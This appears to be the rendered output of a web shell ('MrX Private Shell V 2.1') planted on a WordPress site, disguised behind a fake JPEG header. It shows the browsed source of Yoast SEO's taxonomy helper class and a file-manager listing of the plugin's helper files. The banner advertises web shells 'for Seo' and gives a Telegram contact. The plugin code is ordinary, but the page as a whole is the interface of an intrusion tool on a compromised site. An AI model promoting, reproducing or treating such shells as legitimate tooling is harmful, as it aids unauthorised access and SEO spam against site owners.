����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Yoast\WP\SEO\Helpers;
use WP_Taxonomy;
use WP_Term;
use WPSEO_Taxonomy_Meta;
/**
* A helper object for terms.
*/
class Taxonomy_Helper {
/**
* The options helper.
*
* @var Options_Helper
*/
private $options;
/**
* The string helper.
*
* @var String_Helper
*/
private $string;
/**
* Taxonomy_Helper constructor.
*
* @codeCoverageIgnore It only sets dependencies.
*
* @param Options_Helper $options The options helper.
* @param String_Helper $string_helper The string helper.
*/
public function __construct( Options_Helper $options, String_Helper $string_helper ) {
$this->options = $options;
$this->string = $string_helper;
}
/**
* Checks if the requested term is indexable.
*
* @param string $taxonomy The taxonomy slug.
*
* @return bool True when taxonomy is set to index.
*/
public function is_indexable( $taxonomy ) {
return ! $this->options->get( 'noindex-tax-' . $taxonomy, false );
}
/**
* Returns an array with the public taxonomies.
*
* @param string $output The output type to use.
*
* @return string[]|WP_Taxonomy[] Array with all the public taxonomies.
* The type depends on the specified output variable.
*/
public function get_public_taxonomies( $output = 'names' ) {
return \get_taxonomies( [ 'public' => true ], $output );
}
/**
* Retrieves the term description (without tags).
*
* @param int $term_id Term ID.
*
* @return string Term description (without tags).
*/
public function get_term_description( $term_id ) {
return $this->string->strip_all_tags( \term_description( $term_id ) );
}
/**
* Retrieves the taxonomy term's meta values.
*
* @codeCoverageIgnore We have to write test when this method contains own code.
*
* @param WP_Term $term Term to get the meta value for.
*
* @return array|bool Array of all the meta data for the term.
* False if the term does not exist or the $meta provided is invalid.
*/
public function get_term_meta( $term ) {
return WPSEO_Taxonomy_Meta::get_term_meta( $term, $term->taxonomy, null );
}
/**
* Gets the passed taxonomy's slug.
*
* @param string $taxonomy The name of the taxonomy.
*
* @return string The slug for the taxonomy. Returns the taxonomy's name if no slug could be found.
*/
public function get_taxonomy_slug( $taxonomy ) {
$taxonomy_object = \get_taxonomy( $taxonomy );
if ( $taxonomy_object && \property_exists( $taxonomy_object, 'rewrite' ) && \is_array( $taxonomy_object->rewrite ) && isset( $taxonomy_object->rewrite['slug'] ) ) {
return $taxonomy_object->rewrite['slug'];
}
return \strtolower( $taxonomy_object->name );
}
/**
* Returns an array with the custom taxonomies.
*
* @param string $output The output type to use.
*
* @return string[]|WP_Taxonomy[] Array with all the custom taxonomies.
* The type depends on the specified output variable.
*/
public function get_custom_taxonomies( $output = 'names' ) {
return \get_taxonomies( [ '_builtin' => false ], $output );
}
/**
* Returns an array of taxonomies that are excluded from being indexed for the
* indexables.
*
* @return array The excluded taxonomies.
*/
public function get_excluded_taxonomies_for_indexables() {
/**
* Filter: 'wpseo_indexable_excluded_taxonomies' - Allow developers to prevent a certain taxonomy
* from being saved to the indexable table.
*
* @param array $excluded_taxonomies The currently excluded taxonomies.
*/
$excluded_taxonomies = \apply_filters( 'wpseo_indexable_excluded_taxonomies', [] );
// Failsafe, to always make sure that `excluded_taxonomies` is an array.
if ( ! \is_array( $excluded_taxonomies ) ) {
return [];
}
return $excluded_taxonomies;
}
/**
* Checks if the taxonomy is excluded.
*
* @param string $taxonomy The taxonomy to check.
*
* @return bool If the taxonomy is excluded.
*/
public function is_excluded( $taxonomy ) {
return \in_array( $taxonomy, $this->get_excluded_taxonomies_for_indexables(), true );
}
/**
* This builds a list of indexable taxonomies.
*
* @return array The indexable taxonomies.
*/
public function get_indexable_taxonomies() {
$public_taxonomies = $this->get_public_taxonomies();
$excluded_taxonomies = $this->get_excluded_taxonomies_for_indexables();
// `array_values`, to make sure that the keys are reset.
return \array_values( \array_diff( $public_taxonomies, $excluded_taxonomies ) );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| open-graph | Folder | 0755 |
|
|
| schema | Folder | 0755 |
|
|
| Folder | 0755 |
|
||
| aioseo-helper.php | File | 1.24 KB | 0644 |
|
| asset-helper.php | File | 2.52 KB | 0644 |
|
| author-archive-helper.php | File | 5.04 KB | 0644 |
|
| blocks-helper.php | File | 2.32 KB | 0644 |
|
| capability-helper.php | File | 2.07 KB | 0644 |
|
| curl-helper.php | File | 655 B | 0644 |
|
| current-page-helper.php | File | 12.25 KB | 0644 |
|
| date-helper.php | File | 3.13 KB | 0644 |
|
| environment-helper.php | File | 793 B | 0644 |
|
| home-url-helper.php | File | 770 B | 0644 |
|
| image-helper.php | File | 10.32 KB | 0644 |
|
| import-cursor-helper.php | File | 1.36 KB | 0644 |
|
| import-helper.php | File | 716 B | 0644 |
|
| indexable-helper.php | File | 7.1 KB | 0644 |
|
| indexable-to-postmeta-helper.php | File | 6.76 KB | 0644 |
|
| indexables-page-helper.php | File | 4.68 KB | 0644 |
|
| indexing-helper.php | File | 10.83 KB | 0644 |
|
| input-helper.php | File | 662 B | 0644 |
|
| language-helper.php | File | 2.4 KB | 0644 |
|
| meta-helper.php | File | 2.91 KB | 0644 |
|
| notification-helper.php | File | 546 B | 0644 |
|
| options-helper.php | File | 3.87 KB | 0644 |
|
| pagination-helper.php | File | 3.47 KB | 0644 |
|
| permalink-helper.php | File | 1.26 KB | 0644 |
|
| post-helper.php | File | 5.46 KB | 0644 |
|
| post-type-helper.php | File | 4.24 KB | 0644 |
|
| primary-term-helper.php | File | 1.37 KB | 0644 |
|
| product-helper.php | File | 973 B | 0644 |
|
| redirect-helper.php | File | 1.1 KB | 0644 |
|
| request-helper.php | File | 352 B | 0644 |
|
| require-file-helper.php | File | 305 B | 0644 |
|
| robots-helper.php | File | 1.74 KB | 0644 |
|
| robots-txt-helper.php | File | 2.66 KB | 0644 |
|
| sanitization-helper.php | File | 1.03 KB | 0644 |
|
| score-icon-helper.php | File | 2.2 KB | 0644 |
|
| short-link-helper.php | File | 3.3 KB | 0644 |
|
| site-helper.php | File | 566 B | 0644 |
|
| string-helper.php | File | 1.19 KB | 0644 |
|
| taxonomy-helper.php | File | 4.46 KB | 0644 |
|
| url-helper.php | File | 7.32 KB | 0644 |
|
| user-helper.php | File | 3.67 KB | 0644 |
|
| wincher-helper.php | File | 2.37 KB | 0644 |
|
| woocommerce-helper.php | File | 1.28 KB | 0644 |
|
| wordpress-helper.php | File | 512 B | 0644 |
|
| wordproof-helper.php | File | 3.01 KB | 0644 |
|
| wpdb-helper.php | File | 942 B | 0644 |
|